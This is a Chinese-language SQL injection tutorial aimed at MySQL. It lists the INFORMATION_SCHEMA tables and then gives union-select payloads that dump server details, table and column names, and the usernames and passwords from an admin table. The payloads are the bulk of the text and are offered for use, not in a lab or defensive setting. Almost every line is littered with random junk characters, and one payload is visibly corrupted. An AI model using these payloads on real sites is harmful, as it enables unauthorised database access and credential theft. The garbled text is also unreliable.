本文介绍MYSQL盲注的一些语句和方法
. V* G, b! m6 A* m% l
& z! n8 }& s: w O$ r2 c- _& j0 g学习盲注前先了解下 IFORMATION_SCHEMA 库
# D# {/ @. @/ p8 {0 q# _) F# G( T6 v$ H& E" r
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有) e, p, H+ p2 T: N
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。9 s. W7 t3 r6 K
1.得到所有数据库名:5 v# e0 {+ w, `- |
|SCHEMATA ->存储数据库名的表
' Q$ O" q& R& C/ j) m, i* K4 ^|---字段:SCHEMA_NAME ->数据库名称2 l# A$ V$ D, ?$ W* A% d
! M. ]5 `2 H& h|TABLES ->存储表名
! j) V. l) B9 c|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
- t2 x& C+ L4 R3 x2 E0 r/ j|---字段:TABLE_NAME ->存储表的表名8 V! [! ?0 g- s% W. W1 U# |! F; s4 y
$ K# W% t& r- r4 n9 Q|COLUMNS ->存储的字段名表: \" w* @& c% b* q: r
|---字段:TABLE_SCHEMA ->该字段所属数据库名) N/ a1 T& D! k! L2 _: j
|---字段:TABLE_NAME ->存储所属表的名称
. Q& v9 m" _! \
+ q% J/ e4 o- s7 Y# _2 F9 u|---字段:COLUMN_NAME ->该字段的名称 `$ y" ]- c/ e* ]& H: n7 c2 J
4 P) E1 R+ W" u- V
4 m" c3 O5 l* d) b; ^
5 V& g, @& @0 u. ]* S7 k9 y& O$ q###########################################################################2 K: o6 C9 t: }; M$ r
8 x3 l! h# r0 }: v/ F. y/ _- X) @0x001 获取系统信息:# {- l4 m6 S( ^7 U3 g
* B1 C0 |+ c! [7 B9 ~, b2 z
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
% h6 K5 z; E& H% v% Y$ g0 B: p% g9 s7 M- }+ `' n% h' |0 ^7 m
/*' \; G K& C8 g5 h$ c
/ V5 [* B$ V" X0 F
@@global.version_compile_os 获取系统版本4 w: r1 B* u( E1 n. M, _8 g
& o: @, \. i( B& s@@datadir 数据库路径: e5 K3 D* u+ {5 Y
database() 当前数据库名称: ^9 N9 G7 I4 N3 Q0 l0 G
0x3c62723e 换行HEX值2 y! g8 S" n8 s* k% a1 s+ s
6 A7 j' A4 e* }
*/0 l2 ~- O9 w# Y; c! X4 A
% w& g+ H1 X- {4 {. f) `( x
' {5 O9 j4 S& ^( t& [& r9 b
5 b" S: w' G; Z1 {######################################################################" M8 i( i& S# V& d0 M4 H
4 o" h( {0 s, Y2 P' O: G- E
0x002 获取表名2 t/ w7 G& a& u$ e
K5 t4 U( Z5 Y! w- cunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*: b$ s B/ l9 n2 s
L0 ~) N3 {$ X: M
5 f( Y& N) O% g2 D. f0 y0 T* Y8 A* x* y1 P- i
/*
, z3 U/ m+ a: Z
- q/ ^# _3 A+ l% v! U5 ]4 ?0x67617264656e 为当前数据库名
% D9 n# G/ `! l# M0 Y* @6 U3 f9 t" v& [7 m9 d X% G. g
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
3 H) T) X4 E+ b/ v
0 }) z. R1 U3 p" g5 }8 Q; p*/. [* J# s- [- \0 P4 Q/ E- L
9 o" c) i) R# ^7 V######################################################################; t6 Q- u4 C: e7 }; n$ ^9 |. U+ Y5 }
3 l' A7 M' j: n
t! X5 Q% K1 M3 V( w% v2 k0 H
; D: W& ?6 H" V# a" c
0x003 获取字段
: {7 l/ ]- R9 C# K5 Q5 P
( o/ ?' J0 h. L# N/ a! e6 r. Yunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
' n9 B* _) R+ a; V' {5 b, r( V% `0 w2 z5 T0 O3 C
/*
9 H: o2 W2 o) R' I
# U: E) N$ `2 d rgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段5 L1 e% i9 F% T5 i# X# \' d
2 y k) `1 ^' M) f& J& y. U
0x61646d696e ->选择一个表0 I" M* O( O q9 f; N; s @
) u* |+ |) _& w5 V: f0x67617264656e ->数据库名$ S. ^3 j2 z) n5 ^1 y. z4 [% v
8 \) x: m3 p4 \2 Y: W; q8 c$ v9 t1 [*/. B- v8 `$ i; O: I6 [
- t) y& x$ C5 o+ j/ \3 {
#####################################################################" `' T B. _, }: r( a! i
5 L, h9 {2 \8 m1 z, a
, U" j0 ~; C- O4 H4 I1 A( @
0 S0 N4 _+ D+ b' K) A) v0x004 获取数据
' ]* R% u2 n: F7 w+ F. n
) n$ ]% ~% }, [: {7 xunion select 1,2,3
7 P+ q$ J! z- ~1 r,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
" s3 s; U6 ]% q6 l- l. R& t+ u5 l8 C. e6 r& D( D
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin* i {) `' d5 h' i$ W& R
- F- S, W0 c7 ]. r
0 o6 U9 Z+ ]4 P) G$ d$ [8 c; Q' a+ |$ I6 S# l
/*! R7 h/ D/ {- H$ ~' [
: @5 K5 n/ l) E a! X9 G0x3c62723e 换行符号HEX编码
: x; g* v# X# I- c, l- P2 \
4 Z1 r2 m! C4 Mgroup_concat 同时获得该字段所有数据+ ]: W) I/ O4 Y2 \" ?$ H* e
; s8 d6 b! n! q0 u+ \7 o; k*/: l; C; A6 C; w$ v# W5 g
& U0 @* F3 x# Y! Q8 x# a |